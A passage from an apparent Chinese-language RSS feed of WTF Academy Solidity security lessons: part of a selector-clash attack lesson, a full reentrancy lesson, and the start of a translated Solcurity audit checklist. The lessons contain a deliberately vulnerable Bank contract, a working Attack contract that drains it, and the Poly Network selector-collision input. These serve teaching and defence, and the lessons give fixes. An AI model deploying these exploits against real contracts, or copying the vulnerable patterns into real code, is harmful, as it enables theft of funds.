        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-string">"Not Owner"</span>);
        solved <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }

    <span class="hljs-comment">// 有漏洞，攻击者可以通过改变 _method 变量碰撞函数选择器，调用目标函数并完成攻击。</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">executeCrossChainTx</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _method, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _bytes, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _bytes1, <span class="hljs-keyword">uint64</span> _num</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> success</span>)</span>{
        (success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(_method, <span class="hljs-string">"(bytes,bytes,uint64)"</span>))), <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(_bytes, _bytes1, _num)));
    }
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">攻击方法</h3><p>我们的目标是利用<code>executeCrossChainTx()</code>函数调用合约中的<code>putCurEpochConPubKeyBytes()</code>，目标函数的选择器为：<code>0x41973cd9</code>。观察到<code>executeCrossChainTx()</code>中是利用<code>_method</code>参数和<code>&quot;(bytes,bytes,uint64)&quot;</code>作为函数签名计算的选择器。因此，我们只需要选择恰当的<code>_method</code>，让这里算出的选择器等于<code>0x41973cd9</code>，通过选择器碰撞调用目标函数。</p><p>Poly Network黑客事件中，黑客碰撞出的<code>_method</code>为 <code>f1121318093</code>，即<code>f1121318093(bytes,bytes,uint64)</code>的哈希前<code>4</code>位也是<code>0x41973cd9</code>，可以成功的调用函数。接下来我们要做的就是将<code>0x41973cd9</code>转换为<code>bytes</code>类型：<code>0x6631313231333138303933</code>，然后作为参数输入到<code>executeCrossChainTx()</code>中。<code>executeCrossChainTx()</code>函数另<code>3</code>个参数不重要，都填 <code>0x</code> 就可以。</p><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code>演示</h2><ol><li><p>部署<code>SelectorClash</code>合约。</p></li><li><p>调用<code>executeCrossChainTx()</code>，参数填<code>0x6631313231333138303933</code>，<code>0x</code>，<code>0x</code>，<code>0x</code>，发起攻击。</p></li><li><p>查看<code>solved</code>变量的值，被修改为<code>ture</code>，攻击成功。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了选择器碰撞攻击，它是导致跨链桥 Poly Network 被黑 6.1 亿美金的的原因之一。这个攻击告诉了我们：</p><ol><li><p>函数选择器很容易被碰撞，即使改变参数类型，依然能构造出具有相同选择器的函数。</p></li><li><p>管理好合约函数的权限，确保拥有特殊权限的合约的函数不能被用户调用。</p></li></ol>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S01. 重入攻击]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s01</link>
            <guid>vOpTLBNYGY3i2HkYulje</guid>
            <pubDate>Sun, 09 Oct 2022 17:30:12 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍最常见的一种智能合约攻击-重入攻击，它曾导致以太坊分叉为 ETH 和 ETC（以太经典），并介绍如何避免它。重入攻击重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。 一些著名的重入攻击事件：2016年，The DAO合约被重入攻击，黑客盗走了合约中的 3,600,000 枚 ETH，并导致以太坊分叉为 ETH 链和 ETC（以太经典）链。2019年，合成资产平台 Synthetix 遭受重入攻击，被盗 3,700,000 枚 sETH。2020年，借贷平台 Lendf.me 遭受重入攻击，被盗 $25,000,000。2021年，借贷平台 C...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍最常见的一种智能合约攻击-重入攻击，它曾导致以太坊分叉为 ETH 和 ETC（以太经典），并介绍如何避免它。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">重入攻击</h2><p>重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。</p><p>一些著名的重入攻击事件：</p><ul><li><p>2016年，The DAO合约被重入攻击，黑客盗走了合约中的 3,600,000 枚 <code>ETH</code>，并导致以太坊分叉为 <code>ETH</code> 链和 <code>ETC</code>（以太经典）链。</p></li><li><p>2019年，合成资产平台 Synthetix 遭受重入攻击，被盗 3,700,000 枚 <code>sETH</code>。</p></li><li><p>2020年，借贷平台 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://Lendf.me">Lendf.me</a> 遭受重入攻击，被盗 $25,000,000。</p></li><li><p>2021年，借贷平台 CREAM FINANCE 遭受重入攻击，被盗 $18,800,000。</p></li><li><p>2022年，算法稳定币项目 Fei 遭受重入攻击，被盗 $80,000,000。</p></li></ul><p>距离 The DAO 被重入攻击已经6年了，但每年还是会有几次因重入漏洞而损失千万美元的项目，因此理解这个漏洞非常重要。</p><h2 id="h-0xaa" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>0xAA</code> 抢银行的故事</h2><p>为了让大家更好理解，这里给大家讲一个&quot;黑客<code>0xAA</code>抢银行&quot;的故事。</p><p>以太坊银行的柜员都是机器人（Robot），由智能合约控制。当正常用户（User）来银行取钱时，它的服务流程：</p><ol><li><p>查询用户的 <code>ETH</code> 余额，如果大于0，进行下一步。</p></li><li><p>将用户的 <code>ETH</code> 余额从银行转给用户，并询问用户是否收到。</p></li><li><p>将用户名下的余额更新为<code>0</code>。</p></li></ol><p>一天黑客 <code>0xAA</code> 来到了银行，这是他和机器人柜员的对话：</p><ul><li><p>0xAA : 我要取钱，<code>1 ETH</code>。</p></li><li><p>Robot: 正在查询您的余额：<code>1 ETH</code>。正在转帐<code>1 ETH</code>到您的账户。您收到钱了吗？</p></li><li><p>0xAA : 等等，我要取钱，<code>1 ETH</code>。</p></li><li><p>Robot: 正在查询您的余额：<code>1 ETH</code>。正在转帐<code>1 ETH</code>到您的账户。您收到钱了吗？</p></li><li><p>0xAA : 等等，我要取钱，<code>1 ETH</code>。</p></li><li><p>Robot: 正在查询您的余额：<code>1 ETH</code>。正在转帐<code>1 ETH</code>到您的账户。您收到钱了吗？</p></li><li><p>0xAA : 等等，我要取钱，<code>1 ETH</code>。</p></li><li><p>... 最后，<code>0xAA</code>通过重入攻击的漏洞，把银行的资产搬空了，银行卒。</p></li></ul><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0209fe2829353bf99e866f974550c812524d70d0d441f95077cdf0a4b47999bf.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞合约例子</h2><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">银行合约</h3><p>银行合约非常简单，包含<code>1</code>个状态变量<code>balanceOf</code>记录所有用户的以太坊余额；包含<code>3</code>个函数：</p><ul><li><p><code>deposit()</code>：存款函数，将<code>ETH</code>存入银行合约，并更新用户的余额。</p></li><li><p><code>withdraw()</code>：提款函数，将调用者的余额转给它。具体步骤和上面故事中一样：查询余额，转账，更新余额。<strong>注意：这个函数有重入漏洞！</strong></p></li><li><p><code>getBalance()</code>：获取银行合约里的<code>ETH</code>余额。</p></li></ul><pre data-type="codeBlock" text="contract Bank {
    mapping (address =&gt; uint256) public balanceOf;    // 余额mapping

    // 存入ether，并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
    }

    // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance &gt; 0, &quot;Insufficient balance&quot;);
        // 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！
        (bool success, ) = msg.sender.call{value: balance}(&quot;&quot;);
        require(success, &quot;Failed to send Ether&quot;);
        // 更新余额
        balanceOf[msg.sender] = 0;
    }

    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Bank</span> </span>{
    <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balanceOf;    <span class="hljs-comment">// 余额mapping</span>

    <span class="hljs-comment">// 存入ether，并更新余额</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    }

    <span class="hljs-comment">// 提取msg.sender的全部ether</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> balance <span class="hljs-operator">=</span> balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>]; <span class="hljs-comment">// 获取余额</span>
        <span class="hljs-built_in">require</span>(balance <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"Insufficient balance"</span>);
        <span class="hljs-comment">// 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！</span>
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: balance}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Failed to send Ether"</span>);
        <span class="hljs-comment">// 更新余额</span>
        balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// 获取银行合约的余额</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">攻击合约</h3><p>重入攻击的一个攻击点就是合约转账<code>ETH</code>的地方：转账<code>ETH</code>的目标地址如果是合约，会触发对方合约的<code>fallback</code>（回退）函数，从而造成循环调用的可能。如果你不了解回退函数，可以阅读<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/19_Fallback/readme.md">WTF Solidity极简教程第19讲：接收ETH</a>。<code>Bank</code>合约在<code>withdraw()</code>函数中存在<code>ETH</code>转账：</p><pre data-type="codeBlock" text="(bool success, ) = msg.sender.call{value: balance}(&quot;&quot;);
"><code>(<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: balance}(<span class="hljs-string">""</span>);
</code></pre><p>假如黑客在攻击合约中的<code>fallback()</code>或<code>receive()</code>函数中重新调用了<code>Bank</code>合约的<code>withdraw()</code>函数，就会造成<code>0xAA</code>抢银行故事中的循环调用，不断让<code>Bank</code>合约转账给攻击者，最终将合约的<code>ETH</code>提空。</p><pre data-type="codeBlock" text="    receive() external payable {
        bank.withdraw();
    }
"><code>    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        bank.withdraw();
    }
</code></pre><p>下面我们看下攻击合约，它的逻辑非常简单，就是通过<code>receive()</code>回退函数循环调用<code>Bank</code>合约的<code>withdraw()</code>函数。它有<code>1</code>个状态变量<code>bank</code>用于记录<code>Bank</code>合约地址。它包含<code>4</code>个函数：</p><ul><li><p>构造函数: 初始化<code>Bank</code>合约地址。</p></li><li><p><code>receive()</code>: 回调函数，在接收<code>ETH</code>时被触发，并再次调用<code>Bank</code>合约的<code>withdraw()</code>函数，循环提款。</p></li><li><p><code>attack()</code>：攻击函数，先<code>Bank</code>合约的<code>deposit()</code>函数存款，然后调用<code>withdraw()</code>发起第一次提款，之后<code>Bank</code>合约的<code>withdraw()</code>函数和攻击合约的<code>receive()</code>函数会循环调用，将<code>Bank</code>合约的<code>ETH</code>提空。</p></li><li><p><code>getBalance()</code>：获取攻击合约里的<code>ETH</code>余额。</p></li></ul><pre data-type="codeBlock" text="contract Attack {
    Bank public bank; // Bank合约地址

    // 初始化Bank合约地址
    constructor(Bank _bank) {
        bank = _bank;
    }
    
    // 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
    receive() external payable {
        if (bank.getBalance() &gt;= 1 ether) {
            bank.withdraw();
        }
    }

    // 攻击函数，调用时 msg.value 设为 1 ether
    function attack() external payable {
        require(msg.value == 1 ether, &quot;Require 1 Ether to attack&quot;);
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }

    // 获取本合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{
    Bank <span class="hljs-keyword">public</span> bank; <span class="hljs-comment">// Bank合约地址</span>

    <span class="hljs-comment">// 初始化Bank合约地址</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">Bank _bank</span>) </span>{
        bank <span class="hljs-operator">=</span> _bank;
    }
    
    <span class="hljs-comment">// 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数</span>
    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">if</span> (bank.getBalance() <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>) {
            bank.withdraw();
        }
    }

    <span class="hljs-comment">// 攻击函数，调用时 msg.value 设为 1 ether</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>, <span class="hljs-string">"Require 1 Ether to attack"</span>);
        bank.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>}();
        bank.withdraw();
    }

    <span class="hljs-comment">// 获取本合约的余额</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code>演示</h2><ol><li><p>部署<code>Bank</code>合约，调用<code>deposit()</code>函数，转入<code>20 ETH</code>。</p></li><li><p>切换到攻击者钱包，部署<code>Attack</code>合约。</p></li><li><p>调用<code>Atack</code>合约的<code>attack()</code>函数发动攻击，调用时需转账<code>1 ETH</code>。</p></li><li><p>调用<code>Bank</code>合约的<code>getBalance()</code>函数，发现余额已被提空。</p></li><li><p>调用<code>Attack</code>合约的<code>getBalance()</code>函数，可以看到余额变为<code>21 ETH</code>，重入攻击成功。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防办法</h2><p>目前主要有两种办法来预防可能的重入攻击漏洞： 检查-影响-交互模式（checks-effect-interaction）和重入锁。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">检查-影响-交互模式</h3><p>检查-影响-交互模式强调编写函数时，要先检查状态变量是否符合要求，紧接着更新状态变量（例如余额），最后再和别的合约交互。如果我们将<code>Bank</code>合约<code>withdraw()</code>函数中的更新余额提前到转账<code>ETH</code>之前，就可以修复漏洞：</p><pre data-type="codeBlock" text="function withdraw() external {
    uint256 balance = balanceOf[msg.sender];
    require(balance &gt; 0, &quot;Insufficient balance&quot;);
    // 检查-效果-交互模式（checks-effect-interaction）：先更新余额变化，再发送ETH
    // 重入攻击的时候，balanceOf[msg.sender]已经被更新为0了，不能通过上面的检查。
    balanceOf[msg.sender] = 0;
    (bool success, ) = msg.sender.call{value: balance}(&quot;&quot;);
    require(success, &quot;Failed to send Ether&quot;);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">uint256</span> balance <span class="hljs-operator">=</span> balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
    <span class="hljs-built_in">require</span>(balance <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"Insufficient balance"</span>);
    <span class="hljs-comment">// 检查-效果-交互模式（checks-effect-interaction）：先更新余额变化，再发送ETH</span>
    <span class="hljs-comment">// 重入攻击的时候，balanceOf[msg.sender]已经被更新为0了，不能通过上面的检查。</span>
    balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: balance}(<span class="hljs-string">""</span>);
    <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Failed to send Ether"</span>);
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">重入锁</h3><p>重入锁是一种防止重入函数的修饰器（modifier），它包含一个默认为<code>0</code>的状态变量<code>_status</code>。被<code>nonReentrant</code>重入锁修饰的函数，在第一次调用时会检查<code>_status</code>是否为<code>0</code>，紧接着将<code>_status</code>的值改为<code>1</code>，调用结束后才会再改为<code>0</code>。这样，当攻击合约在调用结束前第二次的调用就会报错，重入攻击失败。如果你不了解修饰器，可以阅读<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/13_Modifier/readme.md">WTF Solidity极简教程第11讲：修饰器</a>。</p><pre data-type="codeBlock" text="uint256 private _status; // 重入锁

// 重入锁
modifier nonReentrant() {
    // 在第一次调用 nonReentrant 时，_status 将是 0
    require(_status == 0, &quot;ReentrancyGuard: reentrant call&quot;);
    // 在此之后对 nonReentrant 的任何调用都将失败
    _status = 1;
    _;
    // 调用结束，将 _status 恢复为0
    _status = 0;
}
"><code><span class="hljs-keyword">uint256</span> <span class="hljs-keyword">private</span> _status; <span class="hljs-comment">// 重入锁</span>

<span class="hljs-comment">// 重入锁</span>
<span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">nonReentrant</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">// 在第一次调用 nonReentrant 时，_status 将是 0</span>
    <span class="hljs-built_in">require</span>(_status <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"ReentrancyGuard: reentrant call"</span>);
    <span class="hljs-comment">// 在此之后对 nonReentrant 的任何调用都将失败</span>
    _status <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">_</span>;
    <span class="hljs-comment">// 调用结束，将 _status 恢复为0</span>
    _status <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
}
</code></pre><p>只需要用<code>nonReentrant</code>重入锁修饰<code>withdraw()</code>函数，就可以预防重入攻击了。</p><pre data-type="codeBlock" text="// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
    uint256 balance = balanceOf[msg.sender];
    require(balance &gt; 0, &quot;Insufficient balance&quot;);

    (bool success, ) = msg.sender.call{value: balance}(&quot;&quot;);
    require(success, &quot;Failed to send Ether&quot;);

    balanceOf[msg.sender] = 0;
}
"><code><span class="hljs-comment">// 用重入锁保护有漏洞的函数</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">nonReentrant</span></span>{
    <span class="hljs-keyword">uint256</span> balance <span class="hljs-operator">=</span> balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
    <span class="hljs-built_in">require</span>(balance <span class="hljs-operator">></span> <span class="hljs-number">0</span>, <span class="hljs-string">"Insufficient balance"</span>);

    (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: balance}(<span class="hljs-string">""</span>);
    <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Failed to send Ether"</span>);

    balanceOf[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
}
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了以太坊最常见的一种攻击——重入攻击，并编了一个<code>0xAA</code>抢银行的小故事方便大家理解，最后我们介绍了两种预防重入攻击的办法：检查-影响-交互模式（checks-effect-interaction）和重入锁。在例子中，黑客利用了回退函数在目标合约进行<code>ETH</code>转账时进行重入攻击。实际业务中，<code>ERC721</code>和<code>ERC1155</code>的<code>safeTransfer()</code>和<code>safeTransferFrom()</code>安全转账函数，还有<code>ERC777</code>的回退函数，都可能会引发重入攻击。对于新手，我的建议是用重入锁保护所有可能改变合约状态的<code>external</code>函数，虽然可能会消耗更多的<code>gas</code>，但是可以预防更大的损失。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Solcurity 安全标准]]></title>
            <link>https://paragraph.com/@wtfacademy/solcurity</link>
            <guid>VCyIlmP4T1qKyjlf4xTg</guid>
            <pubDate>Fri, 30 Sep 2022 15:13:43 GMT</pubDate>
            <description><![CDATA[翻译修改自 @transmission11 的 The Solcurity Standard 最近在学 Solidity 智能合约安全，发现中文缺少这方面的资料，就翻译了 @transmission11 写的 Solcurity - Solidity 智能合约的安全和代码质量标准。它基于 BoringCrypto, Mudit Gupta, Runtime Verification, 和 ConsenSys Diligence 的工作，总结了审查合约时要注意的安全事项。之后 WTF Academy 会基于它添加新的安全事项。审查方法概览:阅读项目的文档、规范和白皮书，了解智能合约的用途。在查看代码之前，在脑海中构建一个期望中的合约架构模型。快速浏览一遍合约，感受项目结构，可以利用Surya这类工具。将项目架构与你脑海中的合约架构模型进行比较，检查不符合预期的部分。创建威胁模型并列出理论上的高级攻击向量。查看与价值交换相关的地方，尤其是transfer，transferFrom，send，call，delegatecall，和 selfdestruct。优先检查它们，确保安全。查看...]]></description>
            <content:encoded><![CDATA[<p><strong>翻译修改自 </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/transmissions11"><strong>@transmission11</strong></a><strong> 的 </strong><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/transmissions11/solcurity"><strong>The Solcurity Standard</strong></a></p><p>最近在学 Solidity 智能合约安全，发现中文缺少这方面的资料，就翻译了 @transmission11 写的 Solcurity - Solidity <strong>智能合约</strong>的<strong>安全</strong>和<strong>代码质量</strong>标准。它基于 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/sushiswap/bentobox/blob/master/documentation/checks.txt">BoringCrypto</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.youtube.com/watch?v=LLiJK_VeAvQ">Mudit Gupta</a>, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/runtimeverification/verified-smart-contracts/wiki/List-of-Security-Vulnerabilities">Runtime Verification</a>, 和 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://consensys.github.io/smart-contract-best-practices/known_attacks">ConsenSys Diligence</a> 的工作，总结了审查合约时要注意的安全事项。之后 WTF Academy 会基于它添加新的安全事项。</p><hr><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">审查方法概览:</h3><ul><li><p>阅读项目的文档、规范和白皮书，了解智能合约的用途。</p></li><li><p>在查看代码之前，在脑海中构建一个期望中的合约架构模型。</p></li><li><p>快速浏览一遍合约，感受项目结构，可以利用Surya这类工具。</p></li><li><p>将项目架构与你脑海中的合约架构模型进行比较，检查不符合预期的部分。</p></li><li><p>创建威胁模型并列出理论上的高级攻击向量。</p></li><li><p>查看与价值交换相关的地方，尤其是<code>transfer</code>，<code>transferFrom</code>，<code>send</code>，<code>call</code>，<code>delegatecall</code>，和 <code>selfdestruct</code>。优先检查它们，确保安全。</p></li><li><p>查看与外部合约交互的区域，并确保所有关于它们的假设都是有效的，例如价格只会上涨等等。</p></li><li><p>对合约进行一般性的逐行审查。</p></li><li><p>从威胁模型中每个参与者的角度进行另一次审查。</p></li><li><p>快速浏览项目的测试 + 代码覆盖率，并深入了解缺乏覆盖率的区域。</p></li><li><p>运行 Slither/Solhint 等工具并审查其输出。</p></li><li><p>查看相关项目及其审计，以检查是否存在任何类似问题或疏忽。</p></li></ul><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">变量</h2><ul><li><p><code>V1</code> - 它是否可以是 <code>internal</code>?</p></li><li><p><code>V2</code> - 它是否可以是 